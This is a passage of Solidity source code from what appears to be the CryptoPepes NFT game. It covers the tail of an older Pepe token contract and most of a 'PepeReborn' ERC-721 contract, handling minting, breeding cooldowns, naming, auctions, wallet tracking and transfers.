address(0));//can only be set once miner = _miner; } /** * @dev Mine a new Pepe. Can only be called by the miner contract. * @param _seed Seed to be used for the generation of the DNA * @param _receiver Address receiving the newly mined Pepe * @return The ID of the newly mined Pepe */ function minePepe(uint256 _seed, address _receiver) public stopWhenHalted returns(uint256) { require(msg.sender == miner);//only miner contract can call require(zeroGenPepes < MAX_ZERO_GEN_PEPES); return _newPepe(randomDNA(_seed), 0, 0, 0, _receiver); } /** * @dev Premine pepes. Can only be called by the owner and is limited to MAX_PREMINE * @param _amount Amount of Pepes to premine */ function pepePremine(uint256 _amount) public onlyOwner stopWhenHalted { for (uint i = 0; i < _amount; i++) { require(zeroGenPepes <= MAX_PREMINE);//can only generate set amount during premine //create a new pepe // 1) who's genes are based on hash of the timestamp and the number of pepes // 2) who has no mother or father // 3) who is generation zero // 4) who's master is the manager // solhint-disable-next-line _newPepe(randomDNA(uint256(keccak256(abi.encodePacked(block.timestamp, pepes.length)))), 0, 0, 0, owner); } } /** * @dev CozyTime two Pepes together * @param _mother The mother of the new Pepe * @param _father The father of the new Pepe * @param _pepeReceiver Address receiving the new Pepe * @return If it was a success */ function cozyTime(uint256 _mother, uint256 _father, address _pepeReceiver) external stopWhenHalted returns (bool) { //cannot cozyTime with itself require(_mother != _father); //caller has to either be master or approved for mother // solhint-disable-next-line max-line-length require(pepes[_mother].master == msg.sender || approved[_mother] == msg.sender || approvedForAll[pepes[_mother].master][msg.sender]); //caller has to either be master or approved for father // solhint-disable-next-line max-line-length require(pepes[_father].master == msg.sender || approved[_father] == msg.sender || approvedForAll[pepes[_father].master][msg.sender]); //require both parents to be ready for cozytime // solhint-disable-next-line not-rely-on-time require(now > pepes[_mother].canCozyAgain && now > pepes[_father].canCozyAgain); //require both mother parents not to be father require(pepes[_mother].mother != _father && pepes[_mother].father != _father); //require both father parents not to be mother require(pepes[_father].mother != _mother && pepes[_father].father != _mother); Pepe storage father = pepes[_father]; Pepe storage mother = pepes[_mother]; approved[_father] = address(0); approved[_mother] = address(0); uint256[2] memory newGenotype = breed(father.genotype, mother.genotype, pepes.length); uint64 newGeneration; newGeneration = mother.generation + 1; if (newGeneration < father.generation + 1) { //if father generation is bigger newGeneration = father.generation + 1; } _handleCoolDown(_mother); _handleCoolDown(_father); //sets pepe birth when mother is done // solhint-disable-next-line max-line-length pepes[_newPepe(newGenotype, uint64(_mother), uint64(_father), newGeneration, _pepeReceiver)].canCozyAgain = mother.canCozyAgain; //_pepeReceiver becomes the master of the pepe return true; } /** * @dev Internal function to increase the coolDownIndex * @param _pepeId The id of the Pepe to update the coolDown of */ function _handleCoolDown(uint256 _pepeId) internal { Pepe storage tempPep = pepes[_pepeId]; // solhint-disable-next-line not-rely-on-time tempPep.canCozyAgain = uint64(now + cozyCoolDowns[tempPep.coolDownIndex]); if (tempPep.coolDownIndex < 14) {// after every cozy time pepe gets slower tempPep.coolDownIndex++; } } /** * @dev Set the name of a Pepe. Can only be set once * @param _pepeId ID of the pepe to name * @param _name The name to assign */ function setPepeName(uint256 _pepeId, bytes32 _name) public stopWhenHalted onlyPepeMaster(_pepeId) returns(bool) { require(pepeNames[_pepeId] == 0x0000000000000000000000000000000000000000000000000000000000000000); pepeNames[_pepeId] = _name; emit PepeNamed(_pepeId); return true; } /** * @dev Transfer a Pepe to the auction contract and auction it * @param _pepeId ID of the Pepe to auction * @param _auction Auction contract address * @param _beginPrice Price the auction starts at * @param _endPrice Price the auction ends at * @param _duration How long the auction should run */ // solhint-disable-next-line max-line-length function transferAndAuction(uint256 _pepeId, address _auction, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public stopWhenHalted onlyPepeMaster(_pepeId) { _transfer(msg.sender, _auction, _pepeId);//transfer pepe to auction AuctionBase auction = AuctionBase(_auction); auction.startAuctionDirect(_pepeId, _beginPrice, _endPrice, _duration, msg.sender); } /** * @dev Approve and buy. Used to buy cozyTime in one call * @param _pepeId Pepe to cozy with * @param _auction Address of the auction contract * @param _cozyCandidate Pepe to approve and cozy with * @param _candidateAsFather Use the candidate as father or not */ // solhint-disable-next-line max-line-length function approveAndBuy(uint256 _pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather) public stopWhenHalted payable onlyPepeMaster(_cozyCandidate) { approved[_cozyCandidate] = _auction; // solhint-disable-next-line max-line-length CozyTimeAuction(_auction).buyCozy.value(msg.value)(_pepeId, _cozyCandidate, _candidateAsFather, msg.sender); //breeding resets approval } /** * @dev The same as above only pass an extra parameter * @param _pepeId Pepe to cozy with * @param _auction Address of the auction contract * @param _cozyCandidate Pepe to approve and cozy with * @param _candidateAsFather Use the candidate as father or not * @param _affiliate Address to set as affiliate */ // solhint-disable-next-line max-line-length function approveAndBuyAffiliated(uint256 _pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather, address _affiliate) public stopWhenHalted payable onlyPepeMaster(_cozyCandidate) { approved[_cozyCandidate] = _auction; // solhint-disable-next-line max-line-length CozyTimeAuction(_auction).buyCozyAffiliated.value(msg.value)(_pepeId, _cozyCandidate, _candidateAsFather, msg.sender, _affiliate); //breeding resets approval } /** * @dev get Pepe information * @param _pepeId ID of the Pepe to get information of * @return master * @return genotype * @return canCozyAgain * @return generation * @return father * @return mother * @return pepeName * @return coolDownIndex */ // solhint-disable-next-line max-line-length function getPepe(uint256 _pepeId) public view returns(address master, uint256[2] genotype, uint64 canCozyAgain, uint64 generation, uint256 father, uint256 mother, bytes32 pepeName, uint8 coolDownIndex) { Pepe storage tempPep = pepes[_pepeId]; master = tempPep.master; genotype = tempPep.genotype; canCozyAgain = tempPep.canCozyAgain; generation = tempPep.generation; father = tempPep.father; mother = tempPep.mother; pepeName = pepeNames[_pepeId]; coolDownIndex = tempPep.coolDownIndex; } /** * @dev Get the time when a pepe can cozy again * @param _pepeId ID of the pepe * @return Time when the pepe can cozy again */ function getCozyAgain(uint256 _pepeId) public view returns(uint64) { return pepes[_pepeId].canCozyAgain; } /** * ERC721 Compatibility * */ event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev Get the total number of Pepes * @return total Returns the total number of pepes */ function totalSupply() public view returns(uint256 total) { total = pepes.length - balances[address(0)]; return total; } /** * @dev Get the number of pepes owned by an address * @param _owner Address to get the balance from * @return balance The number of pepes */ function balanceOf(address _owner) external view returns (uint256 balance) { balance = balances[_owner]; } /** * @dev Get the owner of a Pepe * @param _tokenId the token to get the owner of * @return _owner the owner of the pepe */ function ownerOf(uint256 _tokenId) external view returns (address _owner) { _owner = pepes[_tokenId].master; } /** * @dev Get the id of an token by its index * @param _owner The address to look up the tokens of * @param _index Index to look at * @return tokenId the ID of the token of the owner at the specified index */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant returns (uint256 tokenId) { //The index must be smaller than the balance, // to guarantee that there is no leftover token returned. require(_index < balances[_owner]); return wallets[_owner][_index]; } /** * @dev Private method that ads a token to the wallet * @param _owner Address of the owner * @param _tokenId Pepe ID to add */ function addToWallet(address _owner, uint256 _tokenId) private { uint256[] storage wallet = wallets[_owner]; uint256 balance = balances[_owner]; if (balance < wallet.length) { wallet[balance] = _tokenId; } else { wallet.push(_tokenId); } //increase owner balance //overflow is not likely to happen(need very large amount of pepes) balances[_owner] += 1; } /** * @dev Remove a token from a address's wallet * @param _owner Address of the owner * @param _tokenId Token to remove from the wallet */ function removeFromWallet(address _owner, uint256 _tokenId) private { uint256[] storage wallet = wallets[_owner]; uint256 i = 0; // solhint-disable-next-line no-empty-blocks for (; wallet[i] != _tokenId; i++) { // not the pepe we are looking for } if (wallet[i] == _tokenId) { //found it! uint256 last = balances[_owner] - 1; if (last > 0) { //move the last item to this spot, the last will become inaccessible wallet[i] = wallet[last]; } //else: no last item to move, the balance is 0, making everything inaccessible. //only decrease balance if _tokenId was in the wallet balances[_owner] -= 1; } } /** * @dev Internal transfer function * @param _from Address sending the token * @param _to Address to token is send to * @param _tokenId ID of the token to send */ function _transfer(address _from, address _to, uint256 _tokenId) internal { pepes[_tokenId].master = _to; approved[_tokenId] = address(0);//reset approved of pepe on every transfer //remove the token from the _from wallet removeFromWallet(_from, _tokenId); //add the token to the _to wallet addToWallet(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev transfer a token. Can only be called by the owner of the token * @param _to Addres to send the token to * @param _tokenId ID of the token to send */ // solhint-disable-next-line no-simple-event-func-name function transfer(address _to, uint256 _tokenId) public stopWhenHalted onlyPepeMaster(_tokenId) //check if msg.sender is the master of this pepe returns(bool) { _transfer(msg.sender, _to, _tokenId);//after master modifier invoke internal transfer return true; } /** * @dev Approve a address to send a token * @param _to Address to approve * @param _tokenId Token to set approval for */ function approve(address _to, uint256 _tokenId) external stopWhenHalted onlyPepeMaster(_tokenId) { approved[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } /** * @dev Approve or revoke approval an address for al tokens of a user * @param _operator Address to (un)approve * @param _approved Approving or revoking indicator */ function setApprovalForAll(address _operator, bool _approved) external stopWhenHalted { if (_approved) { approvedForAll[msg.sender][_operator] = true; } else { approvedForAll[msg.sender][_operator] = false; } emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Get approved address for a token * @param _tokenId Token ID to get the approved address for * @return The address that is approved for this token */ function getApproved(uint256 _tokenId) external view returns (address) { return approved[_tokenId]; } /** * @dev Get if an operator is approved for all tokens of that owner * @param _owner Owner to check the approval for * @param _operator Operator to check approval for * @return Boolean indicating if the operator is approved for that owner */ function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return approvedForAll[_owner][_operator]; } /** * @dev Function to signal support for an interface * @param interfaceID the ID of the interface to check for * @return Boolean indicating support */ function supportsInterface(bytes4 interfaceID) external pure returns (bool) { if (interfaceID == 0x80ac58cd || interfaceID == 0x01ffc9a7) { //TODO: add more interfaces the contract supports return true; } return false; } /** * @dev Safe transferFrom function * @param _from Address currently owning the token * @param _to Address to send token to * @param _tokenId ID of the token to send */ function safeTransferFrom(address _from, address _to, uint256 _tokenId) external stopWhenHalted { _safeTransferFromInternal(_from, _to, _tokenId, ""); } /** * @dev Safe transferFrom function with aditional data attribute * @param _from Address currently owning the token * @param _to Address to send token to * @param _tokenId ID of the token to send * @param _data Data to pass along call */ // solhint-disable-next-line max-line-length function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external stopWhenHalted { _safeTransferFromInternal(_from, _to, _tokenId, _data); } /** * @dev Internal Safe transferFrom function with aditional data attribute * @param _from Address currently owning the token * @param _to Address to send token to * @param _tokenId ID of the token to send * @param _data Data to pass along call */ // solhint-disable-next-line max-line-length function _safeTransferFromInternal(address _from, address _to, uint256 _tokenId, bytes _data) internal onlyAllowed(_tokenId) { require(pepes[_tokenId].master == _from);//check if from is current owner require(_to != address(0));//throw on zero address _transfer(_from, _to, _tokenId); //transfer token if (isContract(_to)) { //check if is contract // solhint-disable-next-line max-line-length require(ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, _data) == bytes4(keccak256("onERC721Received(address,uint256,bytes)"))); } } /** * @dev TransferFrom function * @param _from Address currently owning the token * @param _to Address to send token to * @param _tokenId ID of the token to send * @return If it was successful */ // solhint-disable-next-line max-line-length function transferFrom(address _from, address _to, uint256 _tokenId) public stopWhenHalted onlyAllowed(_tokenId) returns(bool) { require(pepes[_tokenId].master == _from);//check if _from is really the master. require(_to != address(0)); _transfer(_from, _to, _tokenId);//handles event, balances and approval reset; return true; } /** * @dev Utility method to check if an address is a contract * @param _address Address to check * @return Boolean indicating if the address is a contract */ function isContract(address _address) internal view returns (bool) { uint size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(_address) } return size > 0; } } contract PepeReborn is Ownable, Usernames { uint32[15] public cozyCoolDowns = [ // determined by generation / 2 uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(15 minutes), uint32(30 minutes), uint32(45 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; struct Pepe { address master; // The master of the pepe uint256[2] genotype; // all genes stored here uint64 canCozyAgain; // time when pepe can have nice time again uint64 generation; // what generation? uint64 father; // father of this pepe uint64 mother; // mommy of this pepe uint8 coolDownIndex; } struct UndeadPepeMutable { address master; // The master of the pepe // uint256[2] genotype; // all genes stored here uint64 canCozyAgain; // time when pepe can have nice time again // uint64 generation; // what generation? // uint64 father; // father of this pepe // uint64 mother; // mommy of this pepe uint8 coolDownIndex; bool resurrected; // has the pepe been duplicated off the old contract } mapping(uint256 => bytes32) public pepeNames; // stores reborn pepes. index 0 holds pepe 5497 Pepe[] private rebornPepes; // stores undead pepes. get the mutables from the old contract mapping(uint256 => UndeadPepeMutable) private undeadPepes; //address private constant PEPE_UNDEAD_ADDRRESS = 0x84aC94F17622241f313511B629e5E98f489AD6E4; //address private constant PEPE_AUCTION_SALE_UNDEAD_ADDRESS = 0x28ae3DF366726D248c57b19fa36F6D9c228248BE; //address private constant COZY_TIME_AUCTION_UNDEAD_ADDRESS = 0xE2C43d2C6D6875c8F24855054d77B5664c7e810f; address private PEPE_UNDEAD_ADDRRESS; address private PEPE_AUCTION_SALE_UNDEAD_ADDRESS; address private COZY_TIME_AUCTION_UNDEAD_ADDRESS; GenePoolInterface private genePool; uint256 private constant REBORN_PEPE_0 = 5497; bool public constant implementsERC721 = true; // signal erc721 support // solhint-disable-next-line const-name-snakecase string public constant name = "Crypto Pepe Reborn"; // solhint-disable-next-line const-name-snakecase string public constant symbol = "CPRE"; // Token Base URI string public baseTokenURI = "https://api.cryptopepes.lol/getPepe/"; // Contract URI string private contractUri = "https://cryptopepes.lol/contract-metadata.json"; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private wallets; // Mapping from token ID to index in owners wallet mapping(uint256 => uint256) private walletIndex; mapping(uint256 => address) public approved; // pepe index to address approved to transfer mapping(address => mapping(address => bool)) public approvedForAll; uint256 private preminedPepes = 0; uint256 private constant MAX_PREMINE = 1100; modifier onlyPepeMaster(uint256 pepeId) { require(_ownerOf(pepeId) == msg.sender); _; } modifier onlyAllowed(uint256 pepeId) { address master = _ownerOf(pepeId); // solhint-disable-next-line max-line-length require(msg.sender == master || msg.sender == approved[pepeId] || approvedForAll[master][msg.sender]); // check if msg.sender is allowed _; } event PepeBorn(uint256 indexed mother, uint256 indexed father, uint256 indexed pepeId); event PepeNamed(uint256 indexed pepeId); constructor(address baseAddress, address saleAddress, address cozyAddress, address genePoolAddress) public { PEPE_UNDEAD_ADDRRESS = baseAddress; PEPE_AUCTION_SALE_UNDEAD_ADDRESS = saleAddress; COZY_TIME_AUCTION_UNDEAD_ADDRESS = cozyAddress; setGenePool(genePoolAddress); } /** * @dev Internal function that creates a new pepe * @param _genoType DNA of the new pepe * @param _mother The ID of the mother * @param _father The ID of the father * @param _generation The generation of the new Pepe * @param _master The owner of this new Pepe * @return The ID of the newly generated Pepe */ // solhint-disable-next-line max-line-length function _newPepe(uint256[2] _genoType, uint64 _mother, uint64 _father, uint64 _generation, address _master) internal returns (uint256 pepeId) { uint8 tempCoolDownIndex; tempCoolDownIndex = uint8(_generation / 2); if (_generation > 28) { tempCoolDownIndex = 14; } Pepe memory _pepe = Pepe({ master: _master, // The master of the pepe genotype: _genoType, // all genes stored here canCozyAgain: 0, // time when pepe can have nice time again father: _father, // father of this pepe mother: _mother, // mommy of this pepe generation: _generation, // what generation? coolDownIndex: tempCoolDownIndex }); // push returns the new length, use it to get a new unique id pepeId = rebornPepes.push(_pepe) + REBORN_PEPE_0 - 1; // add it to the wallet of the master of the new pepe addToWallet(_master, pepeId); emit PepeBorn(_mother, _father, pepeId); emit Transfer(address(0), _master, pepeId); return pepeId; } /** * @dev Premine pepes. Can only be called by the owner and is limited to MAX_PREMINE * @param _amount Amount of Pepes to premine */ function pepePremine(uint256 _amount) public onlyOwner { for (uint i = 0; i < _amount; i++) { require(preminedPepes < MAX_PREMINE);//can only generate set amount during premine //create a new pepe // 1) who's genes are based on hash of the timestamp and the new pepe's id // 2) who has no mother or father // 3) who is generation zero // 4) who's master is the manager // solhint-disable-next-line _newPepe(genePool.randomDNA(uint256(keccak256(abi.encodePacked(block.timestamp, (REBORN_PEPE_0 + rebornPepes.length))))), 0, 0, 0, owner); ++preminedPepes; } } /* * @dev CozyTime two Pepes together * @param _mother The mother of the new Pepe * @param _father The father of the new Pepe * @param _pepeReceiver Address receiving the new Pepe * @return If it was a success */ function cozyTime(uint256 _mother, uint256 _father, address _pepeReceiver) external returns (bool) { // cannot cozyTime with itself require(_mother != _father); // ressurect parents if needed checkResurrected(_mother); checkResurrected(_father); // get parents Pepe memory mother = _getPepe(_mother); Pepe memory father = _getPepe(_father); // caller has to either be master or approved for mother // solhint-disable-next-line max-line-length require(mother.master == msg.sender || approved[_mother] == msg.sender || approvedForAll[mother.master][msg.sender]); // caller has to either be master or approved for father // solhint-disable-next-line max-line-length require(father.master == msg.sender || approved[_father] == msg.sender || approvedForAll[father.master][msg.sender]); // require both parents to be ready for cozytime // solhint-disable-next-line not-rely-on-time require(now > mother.canCozyAgain && now > father.canCozyAgain); // require both mother parents not to be father require(mother.father != _father && mother.mother != _father); require(father.mother != _mother && father.father != _mother); approved[_father] = address(0); approved[_mother] = address(0); uint256[2] memory newGenotype = genePool.breed(father.genotype, mother.genotype, REBORN_PEPE_0+rebornPepes.length); uint64 newGeneration; newGeneration = mother.generation + 1; if (newGeneration < father.generation + 1) { // if father generation is bigger newGeneration = father.generation + 1; } uint64 motherCanCozyAgain = _handleCoolDown(_mother); _handleCoolDown(_father); // birth new pepe // _pepeReceiver becomes the master of the pepe uint256 pepeId = _newPepe(newGenotype, uint64(_mother), uint64(_father), newGeneration, _pepeReceiver); // sets pepe birth when mother is done // solhint-disable-next-line max-line-length rebornPepes[rebornPepeIdToIndex(pepeId)].canCozyAgain = motherCanCozyAgain; return true; } /** * @dev Internal function to increase the coolDownIndex * @param pepeId The id of the Pepe to update the coolDown of * @return The time that pepe can cozy again */ function _handleCoolDown(uint256 pepeId) internal returns (uint64){ if(pepeId >= REBORN_PEPE_0){ Pepe storage tempPep1 = rebornPepes[pepeId]; // solhint-disable-next-line not-rely-on-time tempPep1.canCozyAgain = uint64(now + cozyCoolDowns[tempPep1.coolDownIndex]); if (tempPep1.coolDownIndex < 14) {// after every cozy time pepe gets slower tempPep1.coolDownIndex++; } return tempPep1.canCozyAgain; }else{ // this function is only called in cozyTime(), pepe has already been resurrected UndeadPepeMutable storage tempPep2 = undeadPepes[pepeId]; // solhint-disable-next-line not-rely-on-time tempPep2.canCozyAgain = uint64(now + cozyCoolDowns[tempPep2.coolDownIndex]); if (tempPep2.coolDownIndex < 14) {// after every cozy time pepe gets slower tempPep2.coolDownIndex++; } return tempPep2.canCozyAgain; } } /** * @dev Set the name of a Pepe. Can only be set once * @param pepeId ID of the pepe to name * @param _name The name to assign */ function setPepeName(uint256 pepeId, bytes32 _name) public onlyPepeMaster(pepeId) returns(bool) { require(pepeNames[pepeId] == 0x0000000000000000000000000000000000000000000000000000000000000000); pepeNames[pepeId] = _name; emit PepeNamed(pepeId); return true; } /** * @dev Transfer a Pepe to the auction contract and auction it * @param pepeId ID of the Pepe to auction * @param _auction Auction contract address * @param _beginPrice Price the auction starts at * @param _endPrice Price the auction ends at * @param _duration How long the auction should run */ // solhint-disable-next-line max-line-length function transferAndAuction(uint256 pepeId, address _auction, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public onlyPepeMaster(pepeId) { //checkResurrected(pepeId); _transfer(msg.sender, _auction, pepeId);// transfer pepe to auction AuctionBase auction = AuctionBase(_auction); auction.startAuctionDirect(pepeId, _beginPrice, _endPrice, _duration, msg.sender); } /** * @dev Approve and buy. Used to buy cozyTime in one call * @param pepeId Pepe to cozy with * @param _auction Address of the auction contract * @param _cozyCandidate Pepe to approve and cozy with * @param _candidateAsFather Use the candidate as father or not */ // solhint-disable-next-line max-line-length function approveAndBuy(uint256 pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather) public payable onlyPepeMaster(_cozyCandidate) { checkResurrected(pepeId); approved[_cozyCandidate] = _auction; // solhint-disable-next-line max-line-length RebornCozyTimeAuction(_auction).buyCozy.value(msg.value)(pepeId, _cozyCandidate, _candidateAsFather, msg.sender); // breeding resets approval } /** * @dev The same as above only pass an extra parameter * @param pepeId Pepe to cozy with * @param _auction Address of the auction contract * @param _cozyCandidate Pepe to approve and cozy with * @param _candidateAsFather Use the candidate as father or not * @param _affiliate Address to set as affiliate */ // solhint-disable-next-line max-line-length function approveAndBuyAffiliated(uint256 pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather, address _affiliate) public payable onlyPepeMaster(_cozyCandidate) { checkResurrected(pepeId); approved[_cozyCandidate] = _auction; // solhint-disable-next-line max-line-length RebornCozyTimeAuction(_auction).buyCozyAffiliated.value(msg.value)(pepeId, _cozyCandidate, _candidateAsFather, msg.sender, _affiliate); // breeding resets approval } /** * @dev Get the time when a pepe can cozy again * @param pepeId ID of the pepe * @return Time when the pepe can cozy again */ function getCozyAgain(uint256 pepeId) public view returns(uint64) { return _getPepe(pepeId).canCozyAgain; } /** * ERC721 Compatibility * */ event Approval(address indexed _owner, address indexed _approved, uint256 pepeId); event Transfer(address indexed _from, address indexed _to, uint256 indexed pepeId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev Get the total number of Pepes * @return total Returns the total number of pepes */ function totalSupply() public view returns(uint256) { return REBORN_PEPE_0 + rebornPepes.length - 1; } /** * @dev Get the number of pepes owned by an address * Note that this only includes reborn and resurrected pepes * Pepes that are still dead are not counted. * @param _owner Address to get the balance from * @return balance The number of pepes */ function balanceOf(address _owner) external view returns (uint256 balance) { return wallets[_owner].length; } /** * @dev Get the owner of a Pepe * Note that this returns pepes from old auctions * @param pepeId the token to get the owner of * @return the owner of the pepe */ function ownerOf(uint256 pepeId) external view returns (address) { return _getPepe(pepeId).master; } /** * @dev Get the owner of a Pepe * Note that this returns pepes from old auctions * @param pepeId the token to get the owner of * @return the owner of the pepe */ function _ownerOf(uint256 pepeId) internal view returns (address) { return _getPepe(pepeId).master; } /** * @dev Get the id of an token by its index * @param _owner The address to look up the tokens of * @param _index Index to look at * @return pepeId the ID of the token of the owner at the specified index */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant returns (uint256 pepeId) { // The index must be smaller than the balance, // to guarantee that there is no leftover token returned. require(_index < wallets[_owner].length); return wallets[_owner][_index]; } /** * @dev Private method that ads a token to the wallet * @param _owner Address of the owner * @param pepeId Pepe ID to add */ function addToWallet(address _owner, uint256 pepeId) private { /* uint256 length = wallets[_owner].length; wallets[_owner].push(pepeId); walletIndex[pepeId] = length; */ walletIndex[pepeId] = wallets[_owner].length; wallets[_owner].push(pepeId); } /** * @dev Remove a token from a address's wallet * @param _owner Address of the owner * @param pepeId Token to remove from the wallet */ function removeFromWallet(address _owner, uint256 pepeId) private { // walletIndex returns 0 if not initialized to a value // verify before removing if(walletIndex[pepeId] == 0 && (wallets[_owner].length == 0 || wallets[_owner][0] != pepeId)) return; // pop last element from wallet, move it to this index uint256 tokenIndex = walletIndex[pepeId]; uint256 lastTokenIndex = wallets[_owner].length - 1; uint256 lastToken = wallets[_owner][lastTokenIndex]; wallets[_owner][tokenIndex] = lastToken; wallets[_owner].length--; walletIndex[pepeId] = 0; walletIndex[lastToken] = tokenIndex; } /** * @dev Internal transfer function * @param _from Address sending the token * @param _to Address to token is send to * @param pepeId ID of the token to send */ function _transfer(address _from, address _to, uint256 pepeId) internal { checkResurrected(pepeId); if(pepeId >= REBORN_PEPE_0) rebornPepes[rebornPepeIdToIndex(pepeId)].master = _to; else undeadPepes[pepeId].master = _to; approved[pepeId] = address(0);//reset approved of pepe on every transfer //remove the token from the _from wallet removeFromWallet(_from, pepeId); //add the token to the _to wallet addToWallet(_to, pepeId); emit Transfer(_from, _to, pepeId); } /** * @dev transfer a token. Can only be called by the owner of the token * @param _to Addres to send the token to * @param pepeId ID of the token to send */ // solhint-disable-next-line no-simple-event-func-name function transfer(address _to, uint256 pepeId) public onlyPepeMaster(pepeId) returns(bool) { _transfer(msg.sender, _to, pepeId);//after master modifier invoke internal transfer return true; } /** * @dev Approve a address to send a token * @param _to Address to approve * @param pepeId Token to set approval for */ function approve(address _to, uint256 pepeId) external onlyPepeMaster(pepeId) { approved[pepeId] = _to; emit Approval(msg.sender, _to, pepeId); } /** * @dev Approve or revoke approval an address for all tokens of a user * @param _operator Address to (un)approve * @param _approved Approving or revoking indicator */ function setApprovalForAll(address _operator, bool _approved) external { approvedForAll[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Get approved address for a token * @param pepeId Token ID to get the approved address for * @return The address that is approved for this token */ function getApproved(uint256 pepeId) external view returns (address) { return approved[pepeId]; } /** * @dev Get if an operator is approved for all tokens of that owner * @param _owner Owner to check the approval for * @param _operator Operator to check approval for * @return Boolean indicating if the operator is approved for that owner */ function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return approvedForAll[_owner][_operator]; } /** * @dev Function to signal support for an interface * @param interfaceID the ID of the interface to check for * @return Boolean indicating support */ function supportsInterface(bytes4 interfaceID) external pure returns (bool) { if( interfaceID == 0x01ffc9a7 // ERC 165 || interfaceID == 0x80ac58cd // ERC 721 base || interfaceID == 0x780e9d63 // ERC 721 enumerable || interfaceID == 0x4f558e79 // ERC 721 exists || interfaceID == 0x5b5e139f // ERC 721 metadata // TODO: add more interfaces such as // 0x150b7a02: ERC 721 receiver ) { return true; } return false; } /** * @dev Safe transferFrom function * @param _from Address currently owning the token * @param _to Address to send token to * @param pepeId ID of the token to send */ function safeTransferFrom(address _from, address _to, uint256 pepeId) external { _safeTransferFromInternal(_from, _to, pepeId, ""); } /** * @dev Safe transferFrom function with aditional data attribute * @param _from Address currently owning the token * @param _to Address to send token to * @param pepeId ID of the token to send * @param _data Data to pass along call */ // solhint-disable-next-line max-line-length function safeTransferFrom(address _from, address _to, uint256 pepeId, bytes _data) external { _safeTransferFromInternal(_from, _to, pepeId, _data); } /** * @dev Internal Safe transferFrom function with aditional data attribute * @param _from Address currently owning the token * @param _to Address to send token to * @param pepeId ID of the token to send * @param _data Data to pass along call */ // solhint-disable-next-line max-line-length function _safeTransferFromInternal(address _from, address _to, uint256 pepeId, bytes _data) internal onlyAllowed(pepeId) { require(_ownerOf(pepeId) == _from);//check if from is current owner require(_to != address(0));//throw on zero address _transfer(_from, _to, pepeId); //transfer token if (isContract(_to)) { //check if is contract // solhint-disable-next-line max-line-length require(ERC721TokenReceiver(_to).onERC721Received(_from, pepeId, _data) == bytes4(keccak256("onERC721Received(address,uint256,bytes)"))); } } /** * @dev TransferFrom function * @param _from Address currently owning the token * @param _to Address to send token to * @param pepeId ID of the token to send * @return If it was successful */ // solhint-disable-next-line max-line-length function transferFrom(address _from, address _to, uint256 pepeId) public onlyAllowed(pepeId) returns(bool) { require(_ownerOf(pepeId) == _from);//check if _from is really the master. require(_to != address(0)); _transfer(_from, _to, pepeId);//handles event, balances and approval reset; return true; } /** * @dev Utility method to check if an address is a contract * @param _address Address to check * @return Boolean indicating if the address is a contract */ function isContract(address _address) internal view returns (bool) { uint size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(_address) } return size > 0; } /** * @dev Returns whether the specified token exists * @param pepeId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 pepeId) public view returns (bool) { return 0 < pepeId && pepeId <= (REBORN_PEPE_0 + rebornPepes.length - 1);//this.totalSupply(); } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param pepeId uint256 ID of the token to query */ function tokenURI(uint256 pepeId) public view returns (string) { require(exists(pepeId)); return string(abi.encodePacked(baseTokenURI, toString(pepeId))); } /** * @dev Changes the base URI for metadata. * @param baseURI the new base URI */ function setBaseTokenURI(string baseURI) public onlyOwner { baseTokenURI = baseURI; } /** * @dev Returns the URI for the contract * @return the uri */ function contractURI() public view returns (string) { return contractUri; } /** * @dev Changes the URI for the contract * @param uri the new uri */ function setContractURI(string uri) public onlyOwner { contractUri = uri; } /** * @dev Converts a `uint256` to its ASCII `string` representation. * @param value a number to convert to string * @return a string representation of the number */ function toString(uint256 value) internal pure returns (string memory) { // Borrowed from Open Zeppelin, which was // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } /** * @dev get Pepe information * Returns information as separate variables * @param pepeId ID of the Pepe to get information of * @return master * @return genotype * @return canCozyAgain * @return generation * @return father * @return mother * @return pepeName * @return coolDownIndex */ // solhint-disable-next-line max-line-length function getPepe(uint256 pepeId) public view returns (address master, uint256[2] genotype, uint64 canCozyAgain, uint64 generation, uint256 father, uint256 mother, bytes32 pepeName, uint8 coolDownIndex) { Pepe memory pepe = _getPepe(pepeId); master = pepe.master; genotype = pepe.genotype; canCozyAgain = pepe.canCozyAgain; generation = pepe.generation; father = pepe.father; mother = pepe.mother; pepeName = pepeNames[pepeId]; coolDownIndex = pepe.coolDownIndex; } /** * @dev get Pepe information * Returns information as a single Pepe struct * @param pepeId ID of the Pepe to get information of * @return pepe info */ function _getPepe(uint256 pepeId) internal view returns (Pepe memory) { 